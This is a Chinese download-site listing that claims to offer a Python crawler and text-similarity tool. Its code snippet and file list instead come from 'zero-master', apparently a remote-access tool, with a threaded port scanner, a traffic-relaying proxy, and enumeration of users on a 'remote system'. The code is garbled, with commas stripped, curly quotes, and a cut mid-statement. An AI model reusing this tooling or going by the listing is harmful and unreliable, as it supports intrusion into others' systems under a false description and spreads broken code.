资源简介
python爬虫,以及相似度分析,可以分析两个文本字符串的相似度
代码片段和文件信息
#!/usr/bin/env python
# Remember to call sh()
import socket subprocess as sp sys os random base64 signal time platform
import threading Queue
from thread import start_new_thread
from collections import OrderedDict namedtuple
class Scanner(threading.Thread):
def __init__(self inq outq):
threading.Thread.__init__(self)
self.setDaemon(1)
# queues for (host port)
self.inq = inq
self.outq = outq
def run(self):
while 1:
host port = self.inq.get()
sd = socket.socket(socket.AF_INET socket.SOCK_STREAM)
try:
sd.connect((host port))
except socket.error:
self.outq.put((host port ‘CLOSED‘))
else:
self.outq.put((host port ‘OPEN‘))
sd.close()
def queue_scan(host start=1 stop=1024 nthreads=50):
d = ““
toscan = Queue.Queue()
scanned = Queue.Queue()
scanners = [Scanner(toscan scanned) for i in range(nthreads)]
for scanner in scanners:
scanner.start()
hostports = [(host port) for port in xrange(start stop+1)]
for hostport in hostports:
toscan.put(hostport)
results = {}
for host port in hostports:
while (host port) not in results:
nhost nport nstatus = scanned.get()
results[(nhost nport)] = nstatus
status = results[(host port)]
if status <> ‘CLOSED‘:
d += ‘%d‘ % (port)
return d
class Encryption_objects:
base64_object = False
aes_object = False
rsa_object = False
struct_object = False
aes_string = ““
struct_string = ““
def proxy_server(webserver port conn data buffer_size):
cs = socket.socket(socket.AF_INET socket.SOCK_STREAM)
try:
cs.connect((webserver port))
cs.send(data)
while True:
reply = cs.recv(buffer_size)
if(len(reply) > 0):
conn.send(reply)
print “OK“
else:
break
cs.close()
except Exception as e:
cs.close()
pass
def conn_string(conn data buffer_size):
try:
first_line = data.split(‘\n‘)[0]
url = first_line.split(‘ ‘)[1]
http_pos = url.find(“://“)
if(http_pos == -1):
temp = url
else:
temp = url[(http_pos+3):]
port_pos = temp.find(“:“)
webserver_pos = temp.find(“/“)
if webserver_pos == -1:
webserver_pos = len(temp)
webserver = ‘‘
port = -1
if(port_pos == -1 or webserver_pos < port_pos):
port = 80
webserver = temp[:webserver_pos]
else:
port = int((temp[(port_pos+1):])[:webserver_pos-port_pos-1])
webserver = temp[:port_pos]
proxy_server(webserver port conn data buffer_size)
except Exception as e:
return
def sys_users():
data = ‘‘
try:
import pwd operator
except ImportError:
data = “\n[-] The Module Responsible Is Not Present On The Remote System\n“
return data
all_user_data = pwd.getpwall()
interesting_users = sorted((u
for u in all_user_data
if not u.pw_name.startswith(‘_‘))
key=operator.attrgetter(‘pw_name‘))
username_length = max(len(u.pw_name) for u in interesting_users) + 1
home_length = max(len(u.pw_dir) for u in interesting_users) + 1
fmt = ‘ %-*s %4s %-*s %s\n‘
data += fmt % (
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
....... 4359 2017-11-07 23:51 zero-master\configurations\modules\basic_modules.py
....... 27764 2017-11-07 23:51 zero-master\configurations\modules\connection_handler.py
....... 6557 2017-11-07 23:51 zero-master\configurations\modules\connection_modules.py
....... 1 2017-11-07 23:51 zero-master\configurations\modules\__init__.py
....... 111 2017-11-07 23:51 zero-master\configurations\runnable\start_servers.alias
....... 1 2017-11-07 23:51 zero-master\configurations\__init__.py
文件 30644 2018-12-29 15:41 zero-master\connect.py
....... 16098 2017-11-07 23:51 zero-master\ports.txt
....... 299 2017-11-07 23:51 zero-master\README.md
文件 130 2018-12-29 15:19 zero-master\spyder debug.txt
....... 17281 2017-11-07 23:51 zero-master\zero.py
目录 0 2017-11-07 23:51 zero-master\configurations\modules
目录 0 2017-11-07 23:51 zero-master\configurations\runnable
目录 0 2017-11-07 23:51 zero-master\configurations
目录 0 2018-12-29 15:19 zero-master
----------- --------- ---------- ----- ----
103245 15
相关资源
- python实现SGBM图像匹配算法
- python实现灰度直方图均衡化
- scrapy_qunar_one
- Python学习全系列教程永久可用
- python简明教程.chm
- 抽奖大转盘python的图形化界面
- 双边滤波器实验报告及代码python
- python +MYSQL+HTML实现21蛋糕网上商城
- Python-直播答题助手自动检测出题搜索
- OpenCV入门教程+OpenCV官方教程中文版
- Python 串口工具源码+.exe文件
- Python开发的全栈股票系统.zip
- Python操作Excel表格并将其中部分数据写
- python书籍 PDF
- 利用python绘制散点图
- python+labview+No1.vi
- 老男孩python项目实战
- python源码制作whl文件.rar
- python3.5可用的scipy
- PYTHON3 经典50案例.pptx
- 计算机科学导论-python.pdf
- python模拟鼠标点击屏幕
- windows鼠标自动点击py脚本
- 鱼c小甲鱼零基础学python全套课后题和
- Python 练习题100道
- Practical Programming 2nd Edition
- wxPython Application Development Cookbook
- python 3.6
- Python 3.5.2 中文文档 互联网唯一CHM版本
- python3.5.2.chm官方文档
评论
共有 条评论